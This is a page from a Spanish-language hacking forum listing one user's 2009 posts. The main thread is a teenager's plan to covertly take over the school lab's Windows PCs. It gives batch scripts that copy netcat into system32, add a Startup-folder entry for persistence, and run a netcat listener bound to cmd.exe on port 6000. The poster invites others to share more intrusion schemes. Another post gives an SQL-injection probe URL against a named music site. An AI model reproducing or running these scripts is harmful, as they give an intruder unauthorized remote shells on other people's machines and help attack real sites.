elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Mensajes
Páginas: 1 ... 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [24] 25 26 27 28 29 30 31 32 33 34 35 36 37 38
231  Seguridad Informática / Nivel Web / Re: Proyecto de Auditoria a SMF 2.0 - Laboratorio de Bugs/Nivel Web en: 9 Noviembre 2009, 22:14 pm
eso mismo iba a decir, el foro elhacker.net , no es smf 2.0


saludos
232  Media / Diseño Gráfico / Re: Galería fotográfica en: 9 Noviembre 2009, 04:44 am
Bueno posteo algunas de mis fotos:)

mosquito;











si quieren seguir viendo mi flickr:

http://www.flickr.com/photos/fede_fotos

saludos!


233  Seguridad Informática / Nivel Web / Re: xss en goear.com en: 9 Noviembre 2009, 04:37 am
a ver si podemos sacar algo de aca, nose si servira de algo:

http://www.goear.com/listenwin.php?v=%22%3E1+/**/ordEr+/**/++By+10--


adios
234  Seguridad Informática / Nivel Web / Re: [RESUELTO]Aprende SQL(recopilación de post) en: 4 Noviembre 2009, 02:57 am
mejor aun!

saludos
235  Seguridad Informática / Hacking / Re: Diario de un alumno en clase de informatica en: 4 Noviembre 2009, 02:08 am
no se olviden, que es mejorable mucho mas, y por favor diganlo jajja, esa es la ideaa

y si tienen algun metodo posteenlo

saludoos
236  Seguridad Informática / Hacking / Re: Diario de un alumno en clase de informatica en: 4 Noviembre 2009, 01:53 am
aca estoy, jaja, em es asi la cosa, osea yo tengo una carpeta, que NO es necesario ser admin para manejarlas y modificarlas, osea no hay casi nada de seguridad.

entonces por ejemplo yo si quiero puedo modificarle el nombre de la carpeta, puedo manejar los archivos, modificarlos, casi todo se puede hacer  ;-) :laugh:

entonces tengo que tener acceso fisico a cada una de las pc, y lo tengo, entonces me dirijo a la carpeta compartida que anteriormente había colocado los archivos, voy rapidamente sin que nadie se entere y ejecuto los dos archivos en su respectivo orden.

si funciona lo voy a comentar.

saludos
237  Seguridad Informática / Hacking / Re: Diario de un alumno en clase de informatica en: 4 Noviembre 2009, 01:04 am
1º archivo:coloca el netcat en system32 y se ejecuta

Como que la seguridad no existe por acá. :o

El netcat no es reconocido por el nod 32 (no salta, en el escanneo si lo hace)

saludos!
238  Seguridad Informática / Hacking / Re: Diario de un alumno en clase de informatica en: 3 Noviembre 2009, 16:24 pm
Tu code no estaría mal si el nc.exe ya estaria en algun directorio, pero el problema es que el netcat en mi caso no lo estaba, entonces use el quick batch compiler, lo inclui (es una opcion que tiene el qbfc), y entonces use

@echo off
copy %MYFILES%\nc.exe %systemroot%\system32

no es necesario poner change directory, porque al estar en system32, se ejecuta desde alli y no es necesario

despues el otro copy si esta bien

start nc.exe -L -d -e cmd.exe -p 6000

esto tambien esta bien, pero acordate que no es necesario poner cd porque por eso se lo paso a system32, para no tener que cambiar de directorio

saludos!

PD:comenten si les gusto la idea, seria un buen intercambio de difierentes tipso de intrusiones, en diferentes escenarios con diferentes restricciones y posibilidades.
239  Seguridad Informática / Hacking / Diario de un alumno en clase de informatica en: 3 Noviembre 2009, 04:45 am
Diario de un alumno en clase de informatica

Gente, este es un post, en el que venía pensando hace tiempo y bueno, aca lo estoy haciendo. Trata de algo asi como una anecdota, o
algo "planeado" para una intrusion en las PC, de las computadoras de la escuela en la clase de informatica en la clase (no intervenir
desde una casa), para despues molestar o simplemente para matar el aburrimiento en la clase.

Esto podría ser:Un acto verídico (ya pasado), algo todavía no realizado (pero real).

NO romper lo siguiente: No se puede inventar el "escenario". Es decir algo que pasó o un escenario existente (no revelar cual XD).


Bueno empiezo con el mío:

14 computadoras (corriendo windows), en red (cable :P), una maquina server (windows server 2000)

Resulta que en clase empeze a pensar alguna forma de ir teniendo el control de las Pc de la clase, lo primero que se me ocurrió ( y que tengo bien claro)
es el netcat, hacer multiples conexiones (directas), hacia mi PC, y ahi tener una shell, y por ende, una especia de control total
comenzé a investigar, y se encontraban algunas carpetas compartidas, y razoné que se podría "sacar jugo", entonces fui a la carpeta compartida
y luego hice 3 archivos(en mi casa los cree obviamente), dos, tienen que estar en la pc vicitma.

1º archivo:coloca el netcat en system32 y se ejecuta
2º archivo:se registra la ejecucion de un archivo (netcat a la escucha), que esta en una carpeta compartida

ejecuto los 2 archivos, y entonces estaría funcionando, la mision, solo hace falta hacer un: net view, y conectarse

pero para la ejecucion de estos archivos tiene que ser por acceso fisico (que no es un gran problema, es solo ir a la carpeta compartida
y ejecutarlos).

ARCHIVOS:
1º archivo:coloca el netcat en system32 y se ejecuta.

lo tengo en .exe (lo compile con el quick batch compiler)
es facil su funcionamiento copia de %MYFILES% a system32
y lo ejecuta

2º archivo:se registra la ejecucion de un archivo (netcat a la escucha), que esta en una carpeta compartida.
Código
  1. @echo off
  2. copy "D:\Misdoc\fede\intrusion escuela\base.bat" "%userprofile%\Men£ Inicio\Programas\Inicio\"

simplemente eso.

3º archivo:ejecucion de un archivo (netcat a la escucha)

Código
  1. @echo off
  2. start nc.exe -L -d -e cmd.exe -p 6000

simplemente eso.

Diagrama:


Como pueden ver es muy sencillo, programitas programados en batch.

si se preguntan porque los primeros dos archivos no los hice en uno solo:es porque ya lo habia intentado antes y me daba
siempre algún error.

asique decidi hacerlo por partes.

bueno aca termina, espero que no sea la ultima anecdota, o plan de intrusión.
en mi caso, todos los datos son veridicos, pero todavía no fue probado, vuelvo de un viaje :D y lo pruebo.

si no tienen ninguna anecdota lo que pueden hacer es como mejorrar, o facilitar, o para no tener que estar fisicamente en la pc ¬¬, a los planes estos, y si se llego hacer en la realidad por favor decir como salió todo obviamente.


PD: tengo 14 años dentro de todo esta bien jajaja
saludos
240  Seguridad Informática / Nivel Web / Re: [RESUELTO]Aprende SQL(recopilación de post) en: 3 Noviembre 2009, 03:44 am
el tutorial que te pasé, es de los mejores explciados.

saludos!
Páginas: 1 ... 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [24] 25 26 27 28 29 30 31 32 33 34 35 36 37 38
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines